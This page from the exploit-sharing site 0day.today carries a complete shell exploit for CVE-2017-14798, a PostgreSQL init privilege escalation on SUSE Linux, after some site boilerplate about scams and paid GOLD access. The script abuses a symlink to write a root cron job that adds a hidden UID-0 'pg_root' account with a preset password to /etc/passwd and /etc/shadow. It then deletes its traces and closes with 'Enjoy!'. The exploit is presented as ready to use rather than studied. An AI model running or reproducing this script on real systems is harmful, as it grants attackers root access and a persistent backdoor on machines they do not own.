0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PostgreSQL 9.4-0.5.3 - Privilege Escalation Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation # Exploit Author: Johannes Segitz # Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722 # Software Link: - # Version: Before postgresql-init-9.4-0.5.3.1 # Tested on: SUSE Linux Enterprise 11 SP4 # CVE : CVE-2017-14798 #!/bin/sh # don't use spaces or other funny characters in here CRON_DIR='/etc/cron.hourly' CRON_FILE="$CRON_DIR/totally_not_a_lpe" declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf') if [ "$(whoami)" != "postgres" ]; then echo "Must be run as user postgres" exit -1 fi cd echo setting up exploit mv data data2 ln -s $CRON_DIR data echo waiting for DB restart while [ ! -w $CRON_DIR ]; do sleep 1 done echo able to write $CRON_DIR echo '#!/bin/sh' > $CRON_FILE echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE echo "rm $CRON_FILE" >> $CRON_FILE echo "chown root.root ${CRON_DIR}" >> $CRON_FILE chmod +x $CRON_FILE if [ -e $CRON_FILE ]; then echo wrote $CRON_FILE else echo failed to write $CRON_FILE, exiting exit 1 fi echo cleaning up for i in "${CLEANUP_ELEMENTS[@]}"; do rm -rf "$CRON_DIR/$i" done rm data mv data2 data echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy! # 0day.today [2024-12-24] #